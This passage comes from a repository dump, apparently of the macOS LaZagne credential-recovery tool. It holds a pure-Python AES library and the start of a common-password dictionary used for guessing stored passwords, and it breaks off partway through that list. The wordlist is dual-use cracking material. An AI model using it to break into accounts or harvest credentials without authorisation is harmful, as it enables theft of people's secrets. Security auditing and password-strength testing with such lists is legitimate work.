decrypt(self, ciphertext):\n        'Decrypt a block of cipher text using the AES block cipher.'\n\n        if len(ciphertext) != 16:\n            raise ValueError('wrong block length')\n\n        rounds = len(self._Kd) - 1\n        (s1, s2, s3) = [3, 2, 1]\n        a = [0, 0, 0, 0]\n\n        # Convert ciphertext to (ints ^ key)\n        t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]\n\n        # Apply round transforms\n        for r in xrange(1, rounds):\n            for i in xrange(0, 4):\n                a[i] = (self.T5[(t[ i          ] >> 24) & 0xFF] ^\n                        self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^\n                        self.T7[(t[(i + s2) % 4] >>  8) & 0xFF] ^\n                        self.T8[ t[(i + s3) % 4]        & 0xFF] ^\n                        self._Kd[r][i])\n            t = copy.copy(a)\n\n        # The last round is special\n        result = [ ]\n        for i in xrange(0, 4):\n            tt = self._Kd[rounds][i]\n            result.append((self.Si[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)\n            result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)\n            result.append((self.Si[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)\n            result.append((self.Si[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)\n\n        return result\n\n\nclass Counter(object):\n    '''A counter object for the Counter (CTR) mode of operation.\n\n       To create a custom counter, you can usually just override the\n       increment method.'''\n\n    def __init__(self, initial_value = 1):\n\n        # Convert the value into an array of bytes long\n        self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]\n\n    value = property(lambda s: s._counter)\n\n    def increment(self):\n        '''Increment the counter (overflow rolls back to 0).'''\n\n        for i in xrange(len(self._counter) - 1, -1, -1):\n            self._counter[i] += 1\n\n            if self._counter[i] < 256: break\n\n            # Carry the one\n            self._counter[i] = 0\n\n        # Overflow\n        else:\n            self._counter = [ 0 ] * len(self._counter)\n\n\nclass AESBlockModeOfOperation(object):\n    '''Super-class for AES modes of operation that require blocks.'''\n    def __init__(self, key):\n        self._aes = AES(key)\n\n    def decrypt(self, ciphertext):\n        raise Exception('not implemented')\n\n    def encrypt(self, plaintext):\n        raise Exception('not implemented')\n\n\nclass AESStreamModeOfOperation(AESBlockModeOfOperation):\n    '''Super-class for AES modes of operation that are stream-ciphers.'''\n\nclass AESSegmentModeOfOperation(AESStreamModeOfOperation):\n    '''Super-class for AES modes of operation that segment data.'''\n\n    segment_bytes = 16\n\n\n\nclass AESModeOfOperationECB(AESBlockModeOfOperation):\n    '''AES Electronic Codebook Mode of Operation.\n\n       o Block-cipher, so data must be padded to 16 byte boundaries\n\n   Security Notes:\n       o This mode is not recommended\n       o Any two identical blocks produce identical encrypted values,\n         exposing data patterns. (See the image of Tux on wikipedia)\n\n   Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''\n\n\n    name = \"Electronic Codebook (ECB)\"\n\n    def encrypt(self, plaintext):\n        if len(plaintext) != 16:\n            raise ValueError('plaintext block must be 16 bytes')\n\n        plaintext = _string_to_bytes(plaintext)\n        return _bytes_to_string(self._aes.encrypt(plaintext))\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) != 16:\n            raise ValueError('ciphertext block must be 16 bytes')\n\n        ciphertext = _string_to_bytes(ciphertext)\n        return _bytes_to_string(self._aes.decrypt(ciphertext))\n\n\n\nclass AESModeOfOperationCBC(AESBlockModeOfOperation):\n    '''AES Cipher-Block Chaining Mode of Operation.\n\n       o The Initialization Vector (IV)\n       o Block-cipher, so data must be padded to 16 byte boundaries\n       o An incorrect initialization vector will only cause the first\n         block to be corrupt; all other blocks will be intact\n       o A corrupt bit in the cipher text will cause a block to be\n         corrupted, and the next block to be inverted, but all other\n         blocks will be intact.\n\n   Security Notes:\n       o This method (and CTR) ARE recommended.\n\n   Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''\n\n\n    name = \"Cipher-Block Chaining (CBC)\"\n\n    def __init__(self, key, iv = None):\n        if iv is None:\n            self._last_cipherblock = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n            self._last_cipherblock = _string_to_bytes(iv)\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    def encrypt(self, plaintext):\n        if len(plaintext) != 16:\n            raise ValueError('plaintext block must be 16 bytes')\n\n        plaintext = _string_to_bytes(plaintext)\n        precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]\n        self._last_cipherblock = self._aes.encrypt(precipherblock)\n\n        return _bytes_to_string(self._last_cipherblock)\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) != 16:\n            raise ValueError('ciphertext block must be 16 bytes')\n\n        cipherblock = _string_to_bytes(ciphertext)\n        plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]\n        self._last_cipherblock = cipherblock\n\n        return _bytes_to_string(plaintext)\n\n\n\nclass AESModeOfOperationCFB(AESSegmentModeOfOperation):\n    '''AES Cipher Feedback Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         but does need to be padded to segment_size\n\n    Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''\n\n\n    name = \"Cipher Feedback (CFB)\"\n\n    def __init__(self, key, iv, segment_size = 1):\n        if segment_size == 0: segment_size = 1\n\n        if iv is None:\n            self._shift_register = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n          self._shift_register = _string_to_bytes(iv)\n\n        self._segment_bytes = segment_size\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    segment_bytes = property(lambda s: s._segment_bytes)\n\n    def encrypt(self, plaintext):\n        if len(plaintext) % self._segment_bytes != 0:\n            raise ValueError('plaintext block must be a multiple of segment_size')\n\n        plaintext = _string_to_bytes(plaintext)\n\n        # Break block into segments\n        encrypted = [ ]\n        for i in xrange(0, len(plaintext), self._segment_bytes):\n            plaintext_segment = plaintext[i: i + self._segment_bytes]\n            xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]\n            cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]\n\n            # Shift the top bits out and the ciphertext in\n            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)\n\n            encrypted.extend(cipher_segment)\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) % self._segment_bytes != 0:\n            raise ValueError('ciphertext block must be a multiple of segment_size')\n\n        ciphertext = _string_to_bytes(ciphertext)\n\n        # Break block into segments\n        decrypted = [ ]\n        for i in xrange(0, len(ciphertext), self._segment_bytes):\n            cipher_segment = ciphertext[i: i + self._segment_bytes]\n            xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]\n            plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]\n\n            # Shift the top bits out and the ciphertext in\n            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)\n\n            decrypted.extend(plaintext_segment)\n\n        return _bytes_to_string(decrypted)\n\n\n\nclass AESModeOfOperationOFB(AESStreamModeOfOperation):\n    '''AES Output Feedback Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         allowing arbitrary length data.\n       o A bit twiddled in the cipher text, twiddles the same bit in the\n         same bit in the plain text, which can be useful for error\n         correction techniques.\n\n    Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''\n\n\n    name = \"Output Feedback (OFB)\"\n\n    def __init__(self, key, iv = None):\n        if iv is None:\n            self._last_precipherblock = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n          self._last_precipherblock = _string_to_bytes(iv)\n\n        self._remaining_block = [ ]\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    def encrypt(self, plaintext):\n        encrypted = [ ]\n        for p in _string_to_bytes(plaintext):\n            if len(self._remaining_block) == 0:\n                self._remaining_block = self._aes.encrypt(self._last_precipherblock)\n                self._last_precipherblock = [ ]\n            precipherbyte = self._remaining_block.pop(0)\n            self._last_precipherblock.append(precipherbyte)\n            cipherbyte = p ^ precipherbyte\n            encrypted.append(cipherbyte)\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, ciphertext):\n        # AES-OFB is symetric\n        return self.encrypt(ciphertext)\n\n\n\nclass AESModeOfOperationCTR(AESStreamModeOfOperation):\n    '''AES Counter Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         allowing arbitrary length data.\n       o The counter must be the same size as the key size (ie. len(key))\n       o Each block independant of the other, so a corrupt byte will not\n         damage future blocks.\n       o Each block has a uniue counter value associated with it, which\n         contributes to the encrypted value, so no data patterns are\n         leaked.\n       o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and\n         Segmented Integer Counter (SIC\n\n   Security Notes:\n       o This method (and CBC) ARE recommended.\n       o Each message block is associated with a counter value which must be\n         unique for ALL messages with the same key. Otherwise security may be\n         compromised.\n\n    Also see:\n\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5\n         and Appendix B for managing the initial counter'''\n\n\n    name = \"Counter (CTR)\"\n\n    def __init__(self, key, counter = None):\n        AESBlockModeOfOperation.__init__(self, key)\n\n        if counter is None:\n            counter = Counter()\n\n        self._counter = counter\n        self._remaining_counter = [ ]\n\n    def encrypt(self, plaintext):\n        while len(self._remaining_counter) < len(plaintext):\n            self._remaining_counter += self._aes.encrypt(self._counter.value)\n            self._counter.increment()\n\n        plaintext = _string_to_bytes(plaintext)\n\n        encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]\n        self._remaining_counter = self._remaining_counter[len(encrypted):]\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, crypttext):\n        # AES-CTR is symetric\n        return self.encrypt(crypttext)\n\n\n# Simple lookup table for each mode\nAESModesOfOperation = dict(\n    ctr = AESModeOfOperationCTR,\n    cbc = AESModeOfOperationCBC,\n    cfb = AESModeOfOperationCFB,\n    ecb = AESModeOfOperationECB,\n    ofb = AESModeOfOperationOFB,\n)\n"
  },
  {
    "path": "Mac/lazagne/config/crypto/pyaes/blockfeeder.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\nfrom .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation\nfrom .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable\n\n\n# First we inject three functions to each of the modes of operations\n#\n#    _can_consume(size)\n#       - Given a size, determine how many bytes could be consumed in\n#         a single call to either the decrypt or encrypt method\n#\n#    _final_encrypt(data, padding = PADDING_DEFAULT)\n#       - call and return encrypt on this (last) chunk of data,\n#         padding as necessary; this will always be at least 16\n#         bytes unless the total incoming input was less than 16\n#         bytes\n#\n#    _final_decrypt(data, padding = PADDING_DEFAULT)\n#       - same as _final_encrypt except for decrypt, for\n#         stripping off padding\n#\n\nPADDING_NONE       = 'none'\nPADDING_DEFAULT    = 'default'\n\n# @TODO: Ciphertext stealing and explicit PKCS#7\n# PADDING_CIPHERTEXT_STEALING\n# PADDING_PKCS7\n\n# ECB and CBC are block-only ciphers\n\ndef _block_can_consume(self, size):\n    if size >= 16: return 16\n    return 0\n\n# After padding, we may have more than one block\ndef _block_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding == PADDING_DEFAULT:\n        data = append_PKCS7_padding(data)\n\n    elif padding == PADDING_NONE:\n        if len(data) != 16:\n            raise Exception('invalid data length for final block')\n    else:\n        raise Exception('invalid padding option')\n\n    if len(data) == 32:\n        return self.encrypt(data[:16]) + self.encrypt(data[16:])\n\n    return self.encrypt(data)\n\n\ndef _block_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding == PADDING_DEFAULT:\n        return strip_PKCS7_padding(self.decrypt(data))\n\n    if padding == PADDING_NONE:\n        if len(data) != 16:\n            raise Exception('invalid data length for final block')\n        return self.decrypt(data)\n\n    raise Exception('invalid padding option')\n\nAESBlockModeOfOperation._can_consume = _block_can_consume\nAESBlockModeOfOperation._final_encrypt = _block_final_encrypt\nAESBlockModeOfOperation._final_decrypt = _block_final_decrypt\n\n\n\n# CFB is a segment cipher\n\ndef _segment_can_consume(self, size):\n    return self.segment_bytes * int(size // self.segment_bytes)\n\n# CFB can handle a non-segment-sized block at the end using the remaining cipherblock\ndef _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding != PADDING_DEFAULT:\n        raise Exception('invalid padding option')\n\n    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))\n    padded = data + to_bufferable(faux_padding)\n    return self.encrypt(padded)[:len(data)]\n\n# CFB can handle a non-segment-sized block at the end using the remaining cipherblock\ndef _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding != PADDING_DEFAULT:\n        raise Exception('invalid padding option')\n\n    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))\n    padded = data + to_bufferable(faux_padding)\n    return self.decrypt(padded)[:len(data)]\n\nAESSegmentModeOfOperation._can_consume = _segment_can_consume\nAESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt\nAESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt\n\n\n\n# OFB and CTR are stream ciphers\n\ndef _stream_can_consume(self, size):\n    return size\n\ndef _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding not in [PADDING_NONE, PADDING_DEFAULT]:\n        raise Exception('invalid padding option')\n\n    return self.encrypt(data)\n\ndef _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding not in [PADDING_NONE, PADDING_DEFAULT]:\n        raise Exception('invalid padding option')\n\n    return self.decrypt(data)\n\nAESStreamModeOfOperation._can_consume = _stream_can_consume\nAESStreamModeOfOperation._final_encrypt = _stream_final_encrypt\nAESStreamModeOfOperation._final_decrypt = _stream_final_decrypt\n\n\n\nclass BlockFeeder(object):\n    '''The super-class for objects to handle chunking a stream of bytes\n       into the appropriate block size for the underlying mode of operation\n       and applying (or stripping) padding, as necessary.'''\n\n    def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):\n        self._mode = mode\n        self._feed = feed\n        self._final = final\n        self._buffer = to_bufferable(\"\")\n        self._padding = padding\n\n    def feed(self, data = None):\n        '''Provide bytes to encrypt (or decrypt), returning any bytes\n           possible from this or any previous calls to feed.\n\n           Call with None or an empty string to flush the mode of\n           operation and return any final bytes; no further calls to\n           feed may be made.'''\n\n        if self._buffer is None:\n            raise ValueError('already finished feeder')\n\n        # Finalize; process the spare bytes we were keeping\n        if data is None:\n            result = self._final(self._buffer, self._padding)\n            self._buffer = None\n            return result\n\n        self._buffer += to_bufferable(data)\n\n        # We keep 16 bytes around so we can determine padding\n        result = to_bufferable('')\n        while len(self._buffer) > 16:\n            can_consume = self._mode._can_consume(len(self._buffer) - 16)\n            if can_consume == 0: break\n            result += self._feed(self._buffer[:can_consume])\n            self._buffer = self._buffer[can_consume:]\n\n        return result\n\n\nclass Encrypter(BlockFeeder):\n    'Accepts bytes of plaintext and returns encrypted ciphertext.'\n\n    def __init__(self, mode, padding = PADDING_DEFAULT):\n        BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)\n\n\nclass Decrypter(BlockFeeder):\n    'Accepts bytes of ciphertext and returns decrypted plaintext.'\n\n    def __init__(self, mode, padding = PADDING_DEFAULT):\n        BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)\n\n\n# 8kb blocks\nBLOCK_SIZE = (1 << 13)\n\ndef _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):\n    'Uses feeder to read and convert from in_stream and write to out_stream.'\n\n    while True:\n        chunk = in_stream.read(block_size)\n        if not chunk:\n            break\n        converted = feeder.feed(chunk)\n        out_stream.write(converted)\n    converted = feeder.feed()\n    out_stream.write(converted)\n\n\ndef encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):\n    'Encrypts a stream of bytes from in_stream to out_stream using mode.'\n\n    encrypter = Encrypter(mode, padding = padding)\n    _feed_stream(encrypter, in_stream, out_stream, block_size)\n\n\ndef decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):\n    'Decrypts a stream of bytes from in_stream to out_stream using mode.'\n\n    decrypter = Decrypter(mode, padding = padding)\n    _feed_stream(decrypter, in_stream, out_stream, block_size)\n"
  },
  {
    "path": "Mac/lazagne/config/crypto/pyaes/util.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# Why to_bufferable?\n# Python 3 is very different from Python 2.x when it comes to strings of text\n# and strings of bytes; in Python 3, strings of bytes do not exist, instead to\n# represent arbitrary binary data, we must use the \"bytes\" object. This method\n# ensures the object behaves as we need it to.\n\ndef to_bufferable(binary):\n    return binary\n\ndef _get_byte(c):\n    return ord(c)\n\ntry:\n    xrange\nexcept NameError:\n\n    def to_bufferable(binary):\n        if isinstance(binary, bytes):\n            return binary\n        return bytes(ord(b) for b in binary)\n\n    def _get_byte(c):\n        return c\n\ndef append_PKCS7_padding(data):\n    pad = 16 - (len(data) % 16)\n    return data + to_bufferable(chr(pad) * pad)\n\ndef strip_PKCS7_padding(data):\n    if len(data) % 16 != 0:\n        raise ValueError(\"invalid length\")\n\n    pad = _get_byte(data[-1])\n\n    if pad > 16:\n        raise ValueError(\"invalid padding byte\")\n\n    return data[:-pad]\n"
  },
  {
    "path": "Mac/lazagne/config/dico.py",
    "content": "def get_dic():\n    return [\n        b\"password\",\n        b\"123456\",\n        b\"12345678\",\n        b\"1234\",\n        b\"qwerty\",\n        b\"12345\",\n        b\"dragon\",\n        b\"pussy\",\n        b\"baseball\",\n        b\"football\",\n        b\"letmein\",\n        b\"monkey\",\n        b\"696969\",\n        b\"abc123\",\n        b\"mustang\",\n        b\"michael\",\n        b\"shadow\",\n        b\"master\",\n        b\"jennifer\",\n        b\"111111\",\n        b\"2000\",\n        b\"jordan\",\n        b\"superman\",\n        b\"harley\",\n        b\"1234567\",\n        b\"fuckme\",\n        b\"hunter\",\n        b\"fuckyob\",\n        b\"trustno1\",\n        b\"ranger\",\n        b\"buster\",\n        b\"thomas\",\n        b\"tigger\",\n        b\"robert\",\n        b\"soccer\",\n        b\"fuck\",\n        b\"batman\",\n        b\"test\",\n        b\"pass\",\n        b\"killer\",\n        b\"hockey\",\n        b\"george\",\n        b\"charlie\",\n        b\"andrew\",\n        b\"michelle\",\n        b\"love\",\n        b\"sunshine\",\n        b\"jessica\",\n        b\"asshole\",\n        b\"6969\",\n        b\"pepper\",\n        b\"daniel\",\n        b\"access\",\n        b\"123456789\",\n        b\"654321\",\n        b\"joshua\",\n        b\"maggie\",\n        b\"starwars\",\n        b\"silver\",\n        b\"william\",\n        b\"dallas\",\n        b\"yankees\",\n        b\"123123\",\n        b\"ashley\",\n        b\"666666\",\n        b\"hello\",\n        b\"amanda\",\n        b\"orange\",\n        b\"biteme\",\n        b\"freedom\",\n        b\"computer\",\n        b\"sexy\",\n        b\"thunder\",\n        b\"nicole\",\n        b\"ginger\",\n        b\"heather\",\n        b\"hammer\",\n        b\"summer\",\n        b\"corvette\",\n        b\"taylor\",\n        b\"fucker\",\n        b\"austin\",\n        b\"1111\",\n        b\"merlin\",\n        b\"matthew\",\n        b\"121212\",\n        b\"golfer\",\n        b\"cheese\",\n        b\"princess\",\n        b\"martin\",\n        b\"chelsea\",\n        b\"patrick\",\n        b\"richard\",\n        b\"diamond\",\n        b\"yellow\",\n        b\"bigdog\",\n        b\"secret\",\n        b\"asdfgh\",\n        b\"sparky\",\n        b\"cowboy\",\n        b\"camaro\",\n        b\"anthony\",\n        b\"matrix\",\n        b\"falcon\",\n        b\"iloveyob\",\n        b\"bailey\",\n        b\"guitar\",\n        b\"jackson\",\n        b\"purple\",\n        b\"scooter\",\n        b\"phoenix\",\n        b\"aaaaaa\",\n        b\"morgan\",\n        b\"tigers\",\n        b\"porsche\",\n        b\"mickey\",\n        b\"maverick\",\n        b\"cookie\",\n        b\"nascar\",\n        b\"peanut\",\n        b\"justin\",\n        b\"131313\",\n        b\"money\",\n        b\"horny\",\n        b\"samantha\",\n        b\"panties\",\n        b\"steelers\",\n        b\"joseph\",\n        b\"snoopy\",\n        b\"boomer\",\n        b\"whatever\",\n        b\"iceman\",\n        b\"smokey\",\n        b\"gateway\",\n        b\"dakota\",\n        b\"cowboys\",\n        b\"eagles\",\n        b\"chicken\",\n        b\"dick\",\n        b\"black\",\n        b\"zxcvbn\",\n        b\"please\",\n        b\"andrea\",\n        b\"ferrari\",\n        b\"knight\",\n        b\"hardcore\",\n        b\"melissa\",\n        b\"compaq\",\n        b\"coffee\",\n        b\"booboo\",\n        b\"bitch\",\n        b\"johnny\",\n        b\"bulldog\",\n        b\"xxxxxx\",\n        b\"welcome\",\n        b\"james\",\n        b\"player\",\n        b\"ncc1701\",\n        b\"wizard\",\n        b\"scooby\",\n        b\"charles\",\n        b\"junior\",\n        b\"internet\",\n        b\"bigdick\",\n        b\"mike\",\n        b\"brandy\",\n        b\"tennis\",\n        b\"blowjob\",\n        b\"banana\",\n        b\"monster\",\n        b\"spider\",\n        b\"lakers\",\n        b\"miller\",\n        b\"rabbit\",\n        b\"enter\",\n        b\"mercedes\",\n        b\"brandon\",\n        b\"steven\",\n        b\"fender\",\n        b\"john\",\n        b\"yamaha\",\n        b\"diablo\",\n        b\"chris\",\n        b\"boston\",\n        b\"tiger\",\n        b\"marine\",\n        b\"chicago\",\n        b\"rangers\",\n        b\"gandalf\",\n        b\"winter\",\n        b\"bigtits\",\n        b\"barney\",\n        b\"edward\",\n        b\"raiders\",\n        b\"porn\",\n        b\"badboy\",\n        b\"blowme\",\n        b\"spanky\",\n        b\"bigdaddy\",\n        b\"johnson\",\n        b\"chester\",\n        b\"london\",\n        b\"midnight\",\n        b\"blue\",\n        b\"fishing\",\n        b\"000000\",\n        b\"hannah\",\n        b\"slayer\",\n        b\"11111111\",\n        b\"rachel\",\n        b\"sexsex\",\n        b\"redsox\",\n        b\"thx1138\",\n        b\"asdf\",\n        b\"marlboro\",\n        b\"panther\",\n        b\"zxcvbnm\",\n        b\"arsenal\",\n        b\"oliver\",\n        b\"qazwsx\",\n        b\"mother\",\n        b\"victoria\",\n        b\"7777777\",\n        b\"jasper\",\n        b\"angel\",\n        b\"david\",\n        b\"winner\",\n        b\"crystal\",\n        b\"golden\",\n        b\"butthead\",\n        b\"viking\",\n        b\"jack\",\n        b\"iwantb\",\n        b\"shannon\",\n        b\"murphy\",\n        b\"angels\",\n        b\"prince\",\n        b\"cameron\",\n        b\"girls\",\n        b\"madison\",\n        b\"wilson\",\n        b\"carlos\",\n        b\"hooters\",\n        b\"willie\",\n        b\"startrek\",\n        b\"captain\",\n        b\"maddog\",\n        b\"jasmine\",\n        b\"butter\",\n        b\"booger\",\n        b\"angela\",\n        b\"golf\",\n        b\"lauren\",\n        b\"rocket\",\n        b\"tiffany\",\n        b\"theman\",\n        b\"dennis\",\n        b\"liverpoo\",\n        b\"flower\",\n        b\"forever\",\n        b\"green\",\n        b\"jackie\",\n        b\"muffin\",\n        b\"turtle\",\n        b\"sophie\",\n        b\"danielle\",\n        b\"redskins\",\n        b\"toyota\",\n        b\"jason\",\n        b\"sierra\",\n        b\"winston\",\n        b\"debbie\",\n        b\"giants\",\n        b\"packers\",\n        b\"newyork\",\n        b\"jeremy\",\n        b\"casper\",\n        b\"bubba\",\n        b\"112233\",\n        b\"sandra\",\n        b\"lovers\",\n        b\"mountain\",\n        b\"united\",\n        b\"cooper\",\n        b\"driver\",\n        b\"tucker\",\n        b\"helpme\",\n        b\"fucking\",\n        b\"pookie\",\n        b\"lucky\",\n        b\"maxwell\",\n        b\"8675309\",\n        b\"bear\",\n        b\"suckit\",\n        b\"gators\",\n        b\"5150\",\n        b\"222222\",\n        b\"shithead\",\n        b\"fuckoff\",\n        b\"jaguar\",\n        b\"monica\",\n        b\"fred\",\n        b\"happy\",\n        b\"hotdog\",\n        b\"tits\",\n        b\"gemini\",\n        b\"lover\",\n        b\"xxxxxxxx\",\n        b\"777777\",\n        b\"canada\",\n        b\"nathan\",\n        b\"victor\",\n        b\"florida\",\n        b\"88888888\",\n        b\"nicholas\",\n        b\"rosebud\",\n        b\"metallic\",\n        b\"doctor\",\n        b\"trouble\",\n        b\"success\",\n        b\"stupid\",\n        b\"tomcat\",\n        b\"warrior\",\n        b\"peaches\",\n        b\"apples\",\n        b\"fish\",\n        b\"qwertyui\",\n        b\"magic\",\n        b\"buddy\",\n        b\"dolphins\",\n        b\"rainbow\",\n        b\"gunner\",\n        b\"987654\",\n        b\"freddy\",\n        b\"alexis\",\n        b\"braves\",\n        b\"cock\",\n        b\"2112\",\n        b\"1212\",\n        b\"cocacola\",\n        b\"xavier\",\n        b\"dolphin\",\n        b\"testing\",\n        b\"bond007\",\n        b\"member\",\n        b\"calvin\",\n        b\"voodoo\",\n        b\"7777\",\n        b\"samson\",\n        b\"alex\",\n        b\"apollo\",\n        b\"fire\",\n        b\"tester\",\n        b\"walter\",\n        b\"beavis\",\n        b\"voyager\",\n        b\"peter\",\n        b\"porno\",\n        b\"bonnie\",\n        b\"rush2112\",\n        b\"beer\",\n        b\"apple\",\n        b\"scorpio\",\n        b\"jonathan\",\n        b\"skippy\",\n        b\"sydney\",\n        b\"scott\",\n        b\"red123\",\n        b\"power\",\n        b\"gordon\",\n        b\"travis\",\n        b\"beaver\",\n        b\"star\",\n        b\"jackass\",\n        b\"flyers\",\n        b\"boobs\",\n        b\"232323\",\n        b\"zzzzzz\",\n        b\"steve\",\n        b\"rebecca\",\n        b\"scorpion\",\n        b\"doggie\",\n        b\"legend\",\n        b\"ou812\",\n        b\"yankee\",\n        b\"blazer\",\n        b\"bill\",\n        b\"runner\",\n        b\"birdie\",\n        b\"bitches\",\n        b\"555555\",\n        b\"parker\",\n        b\"topgun\",\n        b\"asdfasdf\",\n        b\"heaven\",\n        b\"viper\",\n        b\"animal\",\n        b\"2222\",\n        b\"bigboy\",\n        b\"4444\",\n        b\"arthur\",\n        b\"baby\",\n        b\"private\",\n        b\"godzilla\",\n        b\"donald\",\n        b\"williams\",\n        b\"lifehack\",\n        b\"phantom\",\n        b\"dave\",\n        b\"rock\",\n        b\"august\",\n        b\"sammy\",\n        b\"cool\",\n        b\"brian\",\n        b\"platinum\",\n        b\"jake\",\n        b\"bronco\",\n        b\"paul\",\n        b\"mark\",\n        b\"frank\",\n        b\"heka6w2\",\n        b\"copper\",\n        b\"billy\",\n        b\"cumshot\",\n        b\"garfield\",\n        